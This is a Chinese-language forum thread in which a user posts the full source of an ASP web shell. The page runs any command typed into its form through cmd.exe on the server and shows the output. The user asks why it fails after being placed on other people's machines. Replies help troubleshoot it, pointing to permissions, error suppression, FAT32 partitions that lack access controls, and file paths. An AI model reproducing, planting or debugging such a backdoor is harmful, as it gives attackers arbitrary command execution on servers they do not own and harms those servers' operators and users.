散分咯。发发奖金!!!!!!!!! (100分)

  • 主题发起人 主题发起人 zhousi
  • 开始时间 开始时间
Z

zhousi

Unregistered / Unconfirmed
GUEST, unregistred user!
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <>"") then

szTempFile = "C:/" &
oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c " &
szCMD &
" > " &
szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<TITLE>DOS命令</TITLE>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="输入DOS命令">
</FORM><PRE>
<%
If (IsObject(oFile)) then

On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
放在我的win2000机子上可以正常运行,查看文件目录
为什么我放到别人的机器上就不行了,只能浏览正常,但输入命令就不行了,没显示
比如: dir c:/
szTempFile = "C:/" &
oFileSys.GetTempName() 这句什么意思
是不是他系统装在d盘就不行了
我对asp不太懂,谢谢高手帮忙
 
权限问题
你把On Error Resume Next 这一句去掉就知道是什么原因了
 
to 楼上
能具体点吗?
需要什么权限?
不会是admini权限吧,晕!
 
那要看服务器上是怎么设置的了
如果它设成C盘只有ADMIN可读写,那就需要ADMIN权限
如果有FAT32分区就最好了,因为这样的分区内不能设置权限。
 
to xianjun
上面的代码已经写到服务器的"c://inetpub/wwwroot/links/下面啦
那是不是就肯定有写的权限?
上面的代码只不过用来执行dos命令呀,dir也不用写的权限呀,只有读呀
还是,mysql可以读写,别的就不行了,
 
szTempFile = "C:/" &
oFileSys.GetTempName() 这一句是获得一个临时文件名。
把命令的执行结果放在这个文件名中。
在其它机上不能执行,这是因为其它机上很可能没有这个对象:
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 
很简单的问题了。路径问题。文件夹问题
 
。。。。。。。。。。。。。。。。。
 
多人接受答案了。
 
后退
顶部